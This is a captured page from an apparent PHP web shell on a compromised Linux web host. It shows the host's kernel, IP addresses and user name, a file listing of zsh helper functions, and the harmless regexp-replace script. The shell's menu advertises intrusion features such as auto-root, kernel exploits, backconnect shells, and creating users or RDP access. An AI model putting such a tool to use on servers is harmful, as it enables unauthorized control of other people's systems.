Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
zsh /
functions /
Misc /
[ HOME SHELL ]
Name
Size
Permission
Action
add-zle-hook-widget
5.25
KB
-rw-r--r--
add-zsh-hook
1.9
KB
-rw-r--r--
allopt
783
B
-rw-r--r--
checkmail
817
B
-rwxr-xr-x
colors
3.34
KB
-rw-r--r--
getjobs
827
B
-rw-r--r--
harden
96
B
-rwxr-xr-x
is-at-least
2.23
KB
-rw-r--r--
mere
2.02
KB
-rw-r--r--
nslookup
1.11
KB
-rw-r--r--
promptnl
3.23
KB
-rw-r--r--
regexp-replace
1.01
KB
-rw-r--r--
relative
888
B
-rw-r--r--
run-help
3
KB
-rwxr-xr-x
run-help-git
144
B
-rw-r--r--
run-help-ip
862
B
-rwxr-xr-x
run-help-openssl
59
B
-rw-r--r--
run-help-p4
78
B
-rw-r--r--
run-help-sudo
56
B
-rw-r--r--
run-help-svk
52
B
-rw-r--r--
run-help-svn
52
B
-rw-r--r--
sticky-note
4.59
KB
-rwxr-xr-x
tetris
5.31
KB
-rw-r--r--
tetriscurses
10.76
KB
-rw-r--r--
xtermctl
4.09
KB
-rw-r--r--
zargs
8.73
KB
-rw-r--r--
zcalc
11.92
KB
-rwxr-xr-x
zed
4
KB
-rwxr-xr-x
zkbd
7.12
KB
-rwxr-xr-x
zmathfuncdef
2.23
KB
-rw-r--r--
zmv
11.14
KB
-rw-r--r--
zrecompile
6.04
KB
-rw-r--r--
zstyle+
1.24
KB
-rw-r--r--
ztodo
1.37
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : regexp-replace
# Replace all occurrences of a regular expression in a variable. The # variable is modified directly. Respects the setting of the # option RE_MATCH_PCRE. # # First argument: *name* (not contents) of variable. # Second argument: regular expression # Third argument: replacement string. This can contain all forms of # $ and backtick substitutions; in particular, $MATCH will be replaced # by the portion of the string matched by the regular expression. integer pcre [[ -o re_match_pcre ]] && pcre=1 emulate -L zsh (( pcre )) && setopt re_match_pcre # $4 is the string to be matched 4=${(P)1} # $5 is the final string 5= # 6 indicates if we made a change 6= local MATCH MBEGIN MEND local -a match mbegin mend while [[ -n $4 ]]; do if [[ $4 =~ $2 ]]; then # append initial part and subsituted match 5+=${4[1,MBEGIN-1]}${(e)3} # truncate remaining string 4=${4[MEND+1,-1]} # indicate we did something 6=1 else break fi done 5+=$4 eval ${1}=${(q)5} # status 0 if we did something, else 1. [[ -n $6 ]]
Close